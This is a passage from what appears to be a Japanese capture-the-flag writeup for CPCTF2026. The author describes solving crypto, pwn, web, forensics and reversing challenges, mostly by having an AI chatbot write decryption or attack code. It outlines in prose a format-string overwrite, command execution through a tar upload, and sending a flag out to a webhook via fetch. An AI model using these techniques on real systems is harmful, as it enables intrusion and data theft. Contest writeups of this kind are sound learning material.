<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>TeX&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x304C;&#x4E0E;&#x3048;&#x3089;&#x308C;&#x3001;&#x6B20;&#x3051;&#x3066;&#x3044;&#x308B;&#x547D;&#x4EE4;&#x3092;&#x88DC;&#x5B8C;&#x3059;&#x308B;&#x554F;&#x984C;&#x3002;AI&#x306B;&#x3076;&#x3093;&#x6295;&#x3052;&#x308B;&#x3068;&#x3059;&#x3050;&#x306B;&#x7B54;&#x3048;&#x304C;&#x8FD4;&#x3063;&#x3066;&#x304D;&#x3066;&#x3001;&#x3055;&#x3059;&#x304C;&#x306B;&#x305D;&#x3093;&#x306A;&#x3059;&#x3050;&#x308F;&#x304B;&#x308B;&#x308F;&#x3051;&#x306A;&#x3044;&#x3060;&#x308D;&#x3046;&#x3068;&#x601D;&#x3044;&#x306A;&#x304C;&#x3089;&#x534A;&#x4FE1;&#x534A;&#x7591;&#x3067;&#x6295;&#x3052;&#x308B;&#x3068;&#x901A;&#x308B;&#x3002;&#x3053;&#x306E;&#x6642;&#x70B9;&#x3067;2&#x4F4D;&#x306B;&#x3002;(3&#x6642;29&#x5206;)<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x3053;&#x306E;&#x8FBA;&#x3067;&#x305D;&#x308D;&#x305D;&#x308D;&#x5BDD;&#x308B;&#x3079;&#x304D;&#x304B;&#x306A;&#x3042;&#x3068;&#x601D;&#x3044;&#x59CB;&#x3081;&#x308B;&#x304C;&#x3001;&#x5168;&#x304F;&#x7720;&#x304F;&#x306A;&#x304F;&#x75B2;&#x308C;&#x3082;&#x3042;&#x307E;&#x308A;&#x611F;&#x3058;&#x306A;&#x304B;&#x3063;&#x305F;&#x306E;&#x3067;&#x7D9A;&#x884C;&#x3059;&#x308B;&#x3053;&#x3068;&#x306B;&#x3002;</p>
<h3 id="anomaly-2lv3crypto">Anomaly 2(Lv.3/Crypto)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x3075;&#x305F;&#x305F;&#x3073;RSA&#x6697;&#x53F7;&#x3092;&#x89E3;&#x304F;&#x3002;AI&#x306B;&#x5FA9;&#x5143;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x66F8;&#x3044;&#x3066;&#x3082;&#x3089;&#x3046;&#x3068;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x5F97;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3002;&#x3068;&#x3044;&#x3046;&#x304B;&#x305D;&#x308C;&#x3069;&#x3053;&#x308D;&#x304B;&#x5FA9;&#x5143;&#x7D50;&#x679C;&#x3092;&#x30C0;&#x30A4;&#x30EC;&#x30AF;&#x30C8;&#x306B;&#x51FA;&#x3057;&#x3066;&#x304F;&#x308C;&#x305F;&#x3002;(3&#x6642;39&#x5206;)<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>(&#x3053;&#x306E;&#x8FBA;&#x3057;&#x3070;&#x3089;&#x304F;AI&#x983C;&#x308A;&#x3067;&#x304A;&#x3082;&#x3093;&#x306A;&#x304F;&#x3066;&#x3059;&#x307F;&#x307E;&#x305B;&#x3093;...)</p>
<h3 id="campaignlv3pwn">campaign(Lv.3/Pwn)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>C&#x306E;&#x30B3;&#x30FC;&#x30C9;&#x304C;&#x4E0E;&#x3048;&#x3089;&#x308C;&#x308B;&#x3002;AI&#x306B;&#x3088;&#x308B;&#x3068;&#x5165;&#x529B;&#x53D7;&#x3051;&#x53D6;&#x308A;&#x3067;&#x307E;&#x305A;&#x3044;&#x3053;&#x3068;&#x3092;&#x3057;&#x3066;&#x3044;&#x3066;&#x3001;&#x3046;&#x307E;&#x3044;&#x3053;&#x3068;&#x3092;&#x3084;&#x308B;&#x3068;&#x3069;&#x3046;&#x306B;&#x304B;&#x306A;&#x308B;&#x3089;&#x3057;&#x3044;&#x3002;&#x66F8;&#x5F0F;&#x6587;&#x5B57;&#x5217;&#x653B;&#x6483;&#x3068;&#x3044;&#x3046;&#x8106;&#x5F31;&#x6027;&#x304C;&#x3042;&#x3063;&#x3066;&#x3001;&#x5404;&#x5909;&#x6570;&#x306E;&#x30A2;&#x30C9;&#x30EC;&#x30B9;&#x306A;&#x3069;&#x3092;&#x7279;&#x5B9A;&#x3057;&#x305F;&#x3042;&#x3068;&#x306B;&#x5165;&#x529B;&#x306B;&#x7279;&#x5B9A;&#x306E;&#x6587;&#x5B57;&#x5217;&#x3092;&#x9001;&#x308B;&#x3053;&#x3068;&#x3067;&#x30E1;&#x30E2;&#x30EA;&#x304C;&#x66F8;&#x304D;&#x63DB;&#x3048;&#x3089;&#x308C;&#x308B;&#x3001;&#x3089;&#x3057;&#x3044;&#x3002;Python&#x3067;pwntools&#x3092;&#x4F7F;&#x3063;&#x3066;&#x653B;&#x6483;&#x3059;&#x308B;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x66F8;&#x3044;&#x3066;&#x3082;&#x3089;&#x3044;&#x3001;&#x305D;&#x308C;&#x3092;&#x5B9F;&#x884C;&#x3059;&#x308B;&#x3068;&#x30D5;&#x30E9;&#x30B0;&#x304C;&#x5F97;&#x3089;&#x308C;&#x308B;&#x3002;(4&#x6642;28&#x5206;)</p>
<h3 id="tar-melv3web">Tar me(Lv.3/Web)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x554F;&#x984C;&#x540D;&#x306B;&#x3042;&#x308B;&#x3088;&#x3046;&#x306B;&#x3001;tar&#x5F62;&#x5F0F;&#x306E;&#x30D0;&#x30A4;&#x30CA;&#x30EA;&#x3092;&#x9001;&#x4FE1;&#x3057;&#x305F;&#x3089;&#x305D;&#x308C;&#x304C;&#x5C55;&#x958B;&#x3055;&#x308C;&#x308B;&#x3089;&#x3057;&#x3044;&#x3002;&#x305D;&#x3053;&#x306B;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x4ED5;&#x8FBC;&#x3080;&#x3053;&#x3068;&#x3067;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x4E0A;&#x3067;&#x4EFB;&#x610F;&#x306E;&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x3092;&#x5B9F;&#x884C;&#x3067;&#x304D;&#x308B;&#x3002;&#x4F55;&#x5EA6;&#x304B;AI&#x3068;&#x3084;&#x308A;&#x53D6;&#x308A;&#x3057;&#x3066;&#x3044;&#x308B;&#x3068;&#x7A81;&#x7136;AI&#x304C;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x793A;&#x3057;&#x3066;&#x304D;&#x3066;&#x3001;&#x305D;&#x308C;&#x3092;&#x63D0;&#x51FA;&#x3059;&#x308B;&#x3068;&#x901A;&#x308B;&#x3002;(4&#x6642;44&#x5206;)</p>
<h3 id="template-playgroundlv4web">Template Playground(Lv.4/Web)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>AI&#x304C;&#x304B;&#x306A;&#x308A;web&#x5206;&#x91CE;&#x306B;&#x5F37;&#x3044;&#x3088;&#x3046;&#x306A;&#x6C17;&#x304C;&#x3057;&#x305F;&#x306E;&#x3067;Lv.4&#x306B;&#x624B;&#x3092;&#x51FA;&#x3057;&#x3066;&#x307F;&#x308B;&#x3053;&#x3068;&#x306B;&#x3059;&#x308B;&#x3002;&#x3068;&#x306F;&#x3044;&#x3048;&#x3053;&#x306E;&#x8FBA;&#x304B;&#x3089;AI&#x306E;Rate Limit&#x306B;&#x5230;&#x9054;&#x3057;&#x59CB;&#x3081;&#x3001;&#x30ED;&#x30B0;&#x304C;&#x3042;&#x307E;&#x308A;&#x6B8B;&#x3063;&#x3066;&#x3044;&#x306A;&#x3044;...<br>
fetch&#x3092;&#x66F8;&#x304D;&#x8FBC;&#x3081;&#x308B;&#x306E;&#x3067;&#x3001;webhook&#x3092;&#x4F5C;&#x3063;&#x3066;&#x305D;&#x3053;&#x306B;&#x30D5;&#x30E9;&#x30B0;&#x304C;&#x9001;&#x4FE1;&#x3055;&#x308C;&#x308B;&#x3088;&#x3046;&#x306B;&#x9811;&#x5F35;&#x308B;&#x3068;&#x3001;&#x3067;&#x304D;&#x308B;&#x3002;(5&#x6642;22&#x5206;)<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x5916;&#x304C;&#x660E;&#x308B;&#x304F;&#x306A;&#x3063;&#x3066;&#x304D;&#x305F;...</p>
<h3 id="bitwise-scrumblelv4crypto">Bitwise Scrumble(Lv.4/Crypto)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x306A;&#x3093;&#x3068;&#x5168;&#x304F;&#x30ED;&#x30B0;&#x304C;&#x6B8B;&#x3063;&#x3066;&#x3044;&#x306A;&#x3044;...&#x6700;&#x7D42;&#x7684;&#x306B;&#x306F;AI&#x304C;&#x5FA9;&#x5143;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x66F8;&#x3044;&#x3066;&#x304F;&#x308C;&#x3066;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x5F97;&#x308B;&#x3053;&#x3068;&#x304C;&#x51FA;&#x6765;&#x305F;&#x306F;&#x305A;&#x3002;(5&#x6642;42&#x5206;)</p>
<h3 id="credentialslv4forensics">credentials(Lv.4/Forensics)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>git&#x306B;&#x95A2;&#x3059;&#x308B;&#x554F;&#x984C;&#x3002;&#x9762;&#x767D;&#x304B;&#x3063;&#x305F;&#x3002;git&#x3092;&#x4F7F;&#x3063;&#x3066;&#x524A;&#x9664;&#x3057;&#x3066;&#x3082;&#x30ED;&#x30B0;&#x304B;&#x3089;&#x5B8C;&#x5168;&#x306B;&#x524A;&#x9664;&#x306F;&#x3055;&#x308C;&#x3066;&#x304A;&#x3089;&#x305A;&#x3001;&#x9069;&#x5207;&#x306A;&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x3092;&#x5B9F;&#x884C;&#x3059;&#x308B;&#x3068;&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x3092;&#x95B2;&#x89A7;&#x3059;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x3002;(5&#x6642;47&#x5206;)<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x3055;&#x3059;&#x304C;&#x306B;&#x3053;&#x306E;&#x8FBA;&#x308A;&#x3067;&#x5BDD;&#x308B;&#x3053;&#x3068;&#x3092;&#x6C7A;&#x610F;&#x3059;&#x308B;&#x3002;&#x5BDD;&#x308B;&#x524D;&#x306B;&#x3001;PPC&#x306E;&#x6B8B;&#x3063;&#x3066;&#x3044;&#x308B;&#x5206;&#x91CE;&#x306B;&#x3064;&#x3044;&#x3066;&#x8EFD;&#x304F;&#x8003;&#x5BDF;&#x3092;&#x6574;&#x7406;&#x3057;&#x3066;&#x304A;&#x304F;&#x3053;&#x3068;&#x306B;&#x3057;&#x305F;&#x3002;</p>
<ul>
<li>Sum of Prod of Root(Lv.3):3&#x4E57;&#x4EE5;&#x4E0A;&#x306F;&#x51E6;&#x7406;&#x3067;&#x304D;&#x308B;&#x306E;&#x3067;2&#x4E57;&#x307E;&#x3067;&#x3092;&#x8003;&#x3048;&#x3066;&#x533A;&#x9593;&#x548C;&#x3092;&#x8A08;&#x7B97;&#x3067;&#x304D;&#x308C;&#x3070;&#x3088;&#x3044;&#x3002;</li>
<li>All Distance is Square Number(Lv.4):&#x3053;&#x306E;&#x6642;&#x70B9;&#x3067;&#x306F;&#x8AA4;&#x8AAD;&#x3057;&#x3066;&#x304A;&#x308A;&#x3001;&#x540C;&#x3058;&#x91CD;&#x3055;&#x306E;&#x8FBA;&#x3092;&#x5F35;&#x308C;&#x308B;&#x3068;&#x601D;&#x3063;&#x3066;&#x3044;&#x305F;&#x3002;&#x76F8;&#x7570;&#x306A;&#x308B;&#x91CD;&#x3055;&#x306E;&#x8FBA;&#x3068;&#x306A;&#x308B;&#x3068;&#x96E3;&#x3057;&#x3044;...</li>
<li>RangeSum RangeUpdate RangeSqrt(Lv.4):&#x9045;&#x5EF6;&#x30BB;&#x30B0;&#x6728;&#x3092;&#x306A;&#x3093;&#x3084;&#x304B;&#x3093;&#x3084;&#x3059;&#x308B;&#x304B;&#x3001;SegmentTree beats!&#x3092;&#x4F7F;&#x3046;&#x306E;&#x304B;&#x306A;&#x3068;&#x4E88;&#x60F3;&#x3067;&#x304D;&#x308B;&#x3002;</li>
<li>OR Mapping(Lv.4):&#x7121;&#x5411;&#x30B0;&#x30E9;&#x30D5;&#x3060;&#x3063;&#x305F;&#x3089;&#x7D50;&#x69CB;&#x306A;&#x30B0;&#x30E9;&#x30D5;&#x304C;&#x6761;&#x4EF6;&#x3092;&#x6E80;&#x305F;&#x3057;&#x305D;&#x3046;&#x3060;&#x304C;&#x3001;&#x6709;&#x5411;&#x30B0;&#x30E9;&#x30D5;&#x3068;&#x3044;&#x3046;&#x3053;&#x3068;&#x3067;&#x6761;&#x4EF6;&#x3092;&#x6E80;&#x305F;&#x3059;&#x30B0;&#x30E9;&#x30D5;&#x306F;&#x305D;&#x3053;&#x307E;&#x3067;&#x591A;&#x304F;&#x306A;&#x3055;&#x305D;&#x3046;&#x3002;</li>
<li>Get More Money(Lv.5):&#x6700;&#x5C0F;&#x8CBB;&#x7528;&#x6D41;&#x306E;&#x30B0;&#x30E9;&#x30D5;&#x304C;&#x69CB;&#x7BC9;&#x3067;&#x304D;&#x305D;&#x3046;&#x306B;&#x898B;&#x3048;&#x308B;&#x3002;</li>
<li>RPS ELiminations(Lv.5):&#x3053;&#x306E;&#x6642;&#x70B9;&#x3067;&#x306F;&#x8AA4;&#x8AAD;&#x3057;&#x3066;&#x3044;&#x3066;&#x9806;&#x756A;&#x306B;&#x9577;&#x3055;&#x304C;&#x6E1B;&#x3063;&#x3066;&#x3044;&#x304F;&#x3068;&#x601D;&#x3063;&#x3066;&#x3044;&#x305F;&#x3002;&#x9811;&#x5F35;&#x308C;&#x3070;&#x89E3;&#x3051;&#x308B;&#x304B;&#x306A;&#x301C;&#x3068;&#x601D;&#x3063;&#x3066;&#x3044;&#x305F;&#xFF08;&#x9806;&#x756A;&#x306A;&#x3089;&#x9811;&#x5F35;&#x3089;&#x306A;&#x304F;&#x3066;&#x3082;&#x89E3;&#x3051;&#x307E;&#x3059;&#xFF09;</li>
</ul>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x306A;&#x304A;&#x3053;&#x306E;&#x6642;&#x70B9;&#x3067;&#x9806;&#x4F4D;&#x306F;2&#x4F4D;&#x3060;&#x3063;&#x305F;&#x3002;&#x5BDD;&#x308B;&#x524D;&#x306B;&#x6A2A;&#x306B;&#x306A;&#x3063;&#x305F;&#x72B6;&#x614B;&#x3067;&#x5C11;&#x3057;PPC&#x306E;&#x8003;&#x5BDF;&#x3092;&#x3057;&#x3066;&#x3044;&#x305F;&#x3002;&#x5BDD;&#x305F;&#x306E;&#x306F;6&#x6642;20&#x5206;&#x3067;&#x3001;&#x8D77;&#x304D;&#x305F;&#x306E;&#x306F;10&#x6642;18&#x5206;&#x3060;&#x3063;&#x305F;&#x3002;&#x3053;&#x306E;&#x6642;&#x70B9;&#x306E;&#x9806;&#x4F4D;&#x306F;3&#x4F4D;&#x3060;&#x3063;&#x305F;&#x3002;&#x3082;&#x3046;&#x3059;&#x3053;&#x3057;&#x9806;&#x4F4D;&#x304C;&#x843D;&#x3061;&#x308B;&#x3068;&#x601D;&#x3063;&#x3066;&#x3044;&#x305F;&#x306E;&#x3067;&#x5C11;&#x3057;&#x610F;&#x5916;&#x3060;&#x3063;&#x305F;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="night-viewlv3osint">Night View(Lv.3/OSINT)</h3>
<p><img src="https://trap.jp/content/images/2026/04/chal_55e58f3b2fb358e0733204a6acc7545150a321a5133281f89250094f28be5e82.jpg" alt="CPCTF2026&#x53C2;&#x52A0;&#x8A18;/writeup&#xFF08;&#x65B0;&#x5165;&#x751F;2&#x4F4D;&#xFF09;" loading="lazy"><br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x8D85;&#x9762;&#x767D;&#x304B;&#x3063;&#x305F;&#x3002;&#x30D2;&#x30F3;&#x30C8;&#x306B;&#x3088;&#x308B;&#x3068;&#x3001;&#x5199;&#x771F;&#x306B;&#x5199;&#x3063;&#x3066;&#x3044;&#x308B;&#x306E;&#x306F;&#x30EC;&#x30A4;&#x30F3;&#x30DC;&#x30FC;&#x30D6;&#x30EA;&#x30C3;&#x30B8;&#x3089;&#x3057;&#x3044;&#x3002;&#x30EC;&#x30A4;&#x30F3;&#x30DC;&#x30FC;&#x30D6;&#x30EA;&#x30C3;&#x30B8;&#x304C;&#x5DE6;&#x5965;&#x304B;&#x3089;&#x53F3;&#x524D;&#x306B;&#x5411;&#x304B;&#x3063;&#x3066;&#x79FB;&#x52D5;&#x3057;&#x3066;&#x3044;&#x308B;&#x306E;&#x3067;&#x3001;Google Map&#x3092;&#x53C2;&#x7167;&#x3057;&#x3064;&#x3064;&#x3053;&#x306E;&#x5199;&#x771F;&#x304C;&#x64AE;&#x3089;&#x308C;&#x305F;&#x4F4D;&#x7F6E;&#x306F;&#x30EC;&#x30A4;&#x30F3;&#x30DC;&#x30FC;&#x30D6;&#x30EA;&#x30C3;&#x30B8;&#x306E;&#x5317;&#x897F;&#x307E;&#x305F;&#x306F;&#x5357;&#x6771;&#x3067;&#x3042;&#x308B;&#x3053;&#x3068;&#x304C;&#x308F;&#x304B;&#x308B;&#x3002;&#x5357;&#x6771;&#x306B;&#x306F;&#x5EFA;&#x7269;&#x304C;&#x3042;&#x307E;&#x308A;&#x306A;&#x3044;&#x306E;&#x3067;&#x5317;&#x897F;&#x306A;&#x304D;&#x304C;&#x3059;&#x308B;&#x3002;&#x5C11;&#x3057;&#x3060;&#x3051;&#x898B;&#x3048;&#x3066;&#x3044;&#x308B;&#x9053;&#x8DEF;&#x306E;&#x5411;&#x304D;&#x304B;&#x3089;&#x5927;&#x307E;&#x304B;&#x306A;&#x4F4D;&#x7F6E;&#x304C;&#x308F;&#x304B;&#x308A;&#x3001;Google Earth&#x3067;&#x5468;&#x308A;&#x306E;&#x5EFA;&#x7269;&#x3092;&#x773A;&#x3081;&#x3066;&#x307F;&#x308B;&#x3068;&#x3001;&#x5199;&#x771F;&#x306E;&#x771F;&#x3093;&#x4E2D;&#x4E0B;&#x3042;&#x305F;&#x308A;&#x306B;&#x3042;&#x308B;&#x6587;&#x5B57;&#x304C;&#x66F8;&#x304B;&#x308C;&#x305F;&#x5EFA;&#x7269;&#x3001;&#x771F;&#x3093;&#x4E2D;&#x53F3;&#x3042;&#x305F;&#x308A;&#x306B;&#x3042;&#x308B;&#x3061;&#x3087;&#x3063;&#x3068;&#x304B;&#x3051;&#x305F;&#x6B63;&#x65B9;&#x5F62;&#x307F;&#x305F;&#x3044;&#x306A;&#x5EFA;&#x7269;&#x304C;&#x898B;&#x3064;&#x304B;&#x308B;&#x306E;&#x3067;&#x3001;&#x3042;&#x3068;&#x306F;&#x3053;&#x306E;&#x753B;&#x89D2;&#x306B;&#x306A;&#x308A;&#x305D;&#x3046;&#x306A;&#x5EFA;&#x7269;&#x304B;&#x3064;&#x9AD8;&#x3055;&#x306E;&#x3042;&#x308B;&#x5EFA;&#x7269;&#x3092;&#x63A2;&#x3059;&#x3068;&#x7279;&#x5B9A;&#x3067;&#x304D;&#x308B;&#x3002;<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>Way ID&#x306E;&#x53D6;&#x5F97;&#x306B;&#x306F;&#x3084;&#x3084;&#x82E6;&#x52B4;&#x3057;&#x305F;&#x3002;&#x6700;&#x521D;&#x306F;Nominatim&#x3092;&#x4F7F;&#x304A;&#x3046;&#x3068;&#x3057;&#x3066;&#x3044;&#x305F;&#x304C;&#x3001;&#x3046;&#x307E;&#x304F;&#x3044;&#x304B;&#x305A;&#x3001;&#x6700;&#x7D42;&#x7684;&#x306B;&#x306F;<a href="https://overpass-api.de/api/interpreter?ref=trap.jp">https://overpass-api.de/api/interpreter</a> &#x3092;&#x4F7F;&#x3063;&#x305F;&#x3002;(11&#x6642;16&#x5206;)</p>
<h3 id="out-of-worldlv3reversing">Out of World(Lv.3/Reversing)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x3068;&#x308A;&#x3042;&#x3048;&#x305A;file&#x3068;strings&#x3092;&#x5B9F;&#x884C;&#x3057;&#x3001;AI&#x306B;&#x6295;&#x3052;&#x308B;&#x3068;&#x30D5;&#x30E9;&#x30B0;&#x304C;&#x8FD4;&#x3063;&#x3066;&#x304F;&#x308B;&#x3002;(11&#x6642;25&#x5206;)</p>
<h3 id="digestlv3forensics">digest(Lv.3/Forensics)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x30ED;&#x30B0;&#x3082;&#x8A18;&#x61B6;&#x3082;&#x306A;&#x3044;...&#x304A;&#x305D;&#x3089;&#x304F;AI&#x306B;&#x653B;&#x6483;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x66F8;&#x304B;&#x305B;&#x305F;&#x3068;&#x601D;&#x3046;&#x3002;(12&#x6642;12&#x5206;)</p>
<h3 id="vigorlv4reversing">viGor(Lv.4/Reversing)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x4E0E;&#x3048;&#x3089;&#x308C;&#x305F;&#x3082;&#x306E;&#x306F;Go&#x306E;&#x30D0;&#x30A4;&#x30CA;&#x30EA;&#x3089;&#x3057;&#x3044;&#x3002;AI&#x3068;&#x76F8;&#x8AC7;&#x3059;&#x308B;&#x3068;GoReSym&#x3068;&#x3044;&#x3046;&#x3082;&#x306E;&#x3092;&#x63D0;&#x6848;&#x3055;&#x308C;&#x308B;&#x306E;&#x3067;&#x30A4;&#x30F3;&#x30B9;&#x30C8;&#x30FC;&#x30EB;&#x3057;&#x3001;grep&#x3059;&#x308B;&#x3068;main.flagChecker&#x306E;&#x30A2;&#x30C9;&#x30EC;&#x30B9;&#x304C;&#x5206;&#x304B;&#x308B;&#x3002;&#x3044;&#x3061;&#x3044;&#x3061;AI&#x304C;&#x300C;3&#x6587;&#x5B57;&#x306E;&#x30D1;&#x30B9;&#x30EF;&#x30FC;&#x30C9;&#x306E;&#x5019;&#x88DC;&#x306F;&#x3053;&#x308C;&#xFF01;&#x300D;&#x3068;&#x304B;&#x300C;v&#x304B;&#x3089;&#x59CB;&#x307E;&#x308B;&#x304B;&#x3082;&#xFF01;&#x300D;&#x307F;&#x305F;&#x3044;&#x306A;&#x30E1;&#x30BF;&#x8AAD;&#x307F;&#x3092;&#x3057;&#x3066;&#x304F;&#x308B;&#x304C;&#x305D;&#x308C;&#x3092;&#x7121;&#x8996;&#x3057;&#x3064;&#x3064;&#x3001;&#x4E00;&#x65E6;gdb&#x3092;&#x52D5;&#x304B;&#x3057;&#x3066;&#x307F;&#x308B;&#x3002;disas&#x3092;&#x5B9F;&#x884C;&#x3059;&#x308B;&#x3068;&#x3001;AI&#x304C;&#x7A81;&#x7136;&#x300C;3&#x6587;&#x5B57;&#x306E;&#x7D75;&#x6587;&#x5B57;&#x306A;&#x3069;&#x3092;&#x8A66;&#x3057;&#x3066;&#x307F;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x300D;&#x3068;&#x8A00;&#x3063;&#x3066;&#x304F;&#x308B;&#x3002;&#x7D75;&#x6587;&#x5B57;&#x3092;&#x5165;&#x529B;&#x3057;&#x3066;&#x307F;&#x308B;&#x3068;&#x3001;&#x78BA;&#x304B;&#x306B;&#x305D;&#x308C;&#x3063;&#x307D;&#x3044;&#x6587;&#x5B57;&#x5217;&#x304C;&#x8FD4;&#x3063;&#x3066;&#x304F;&#x308B;&#x304C;&#x3001;&#x307E;&#x3060;&#x30D5;&#x30E9;&#x30B0;&#x3067;&#x306F;&#x306A;&#x3044;&#x3002;&#x3044;&#x304F;&#x3064;&#x304B;&#x306E;&#x7D75;&#x6587;&#x5B57;&#x3092;&#x8A66;&#x3057;&#x3066;&#x305D;&#x308C;&#x3092;AI&#x306B;&#x6559;&#x3048;&#x308B;&#x3068;&#x3001;&#x6700;&#x7D42;&#x7684;&#x306B;&#x300C;(printf &quot;\xf0\x9f\xa5\xb0\xf0\x9f\x98\xa1\xf0\x9f\x98\xad&quot;; echo) | ./viGor&#x300D;&#x3067;&#x30D5;&#x30E9;&#x30B0;&#x304C;&#x5F97;&#x3089;&#x308C;&#x308B;&#x3002;(12&#x6642;19&#x5206;)<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x3061;&#x306A;&#x307F;&#x306B;&#x5999;&#x306B;digest&#x304B;&#x3089;viGor&#x3092;&#x89E3;&#x304F;&#x307E;&#x3067;&#x306E;&#x6642;&#x9593;&#x304C;&#x65E9;&#x3044;&#x3088;&#x3046;&#x306B;&#x898B;&#x3048;&#x308B;&#x304C;&#x3001;&#x3053;&#x308C;&#x306F;&#x554F;&#x984C;&#x3092;&#x4F55;&#x554F;&#x304B;&#x4E26;&#x5217;&#x3057;&#x3066;&#x89E3;&#x3044;&#x3066;&#x3044;&#x308B;&#x304B;&#x3089;&#x3060;&#x3068;&#x601D;&#x3046;&#x3002;</p>
<h3 id="damaged-reportlv4misc">Damaged Report(Lv.4/Misc)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>TeX&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x3068;docker image&#x304C;&#x4E0E;&#x3048;&#x3089;&#x308C;&#x308B;&#x306E;&#x3067;&#x4E00;&#x65E6;&#x958B;&#x3044;&#x3066;&#x307F;&#x308B;&#x3002;AI&#x306B;&#x805E;&#x304D;&#x3064;&#x3064;Docker&#x3092;&#x8D77;&#x52D5;&#x3057;&#x3001;.tex&#x30D5;&#x30A1;&#x30A4;&#x30EB;&#x3092;&#x4F5C;&#x6210;&#x3057;&#x3066;&#x5B9F;&#x884C;&#x3057;&#x3066;&#x307F;&#x308B;&#x3068;&#x3001;&#x306A;&#x305C;&#x304B;&#x77E5;&#x3089;&#x306A;&#x3044;&#x304C;&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x3092;&#x6253;&#x3061;&#x8FBC;&#x3081;&#x308B;&#x72B6;&#x614B;&#x306B;&#x306A;&#x308B;&#x3002;tex&#x306A;&#x306E;&#x306B;&#x4F55;&#x304B;&#x304C;&#x5B9F;&#x884C;&#x3055;&#x308C;&#x3066;&#x3044;&#x308B;&#x3053;&#x3068;&#x306B;&#x9A5A;&#x304D;&#x3064;&#x3064;&#x8272;&#x3005;&#x8A66;&#x3057;&#x3066;&#x307F;&#x308B;&#x3068;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x5F97;&#x308B;&#x3053;&#x3068;&#x304C;&#x51FA;&#x6765;&#x305F;&#x3002;(12&#x6642;38&#x5206;)</p>
<h3 id="cpctf-marketlv4web">CPCTF Market(Lv.4/Web)</h3>
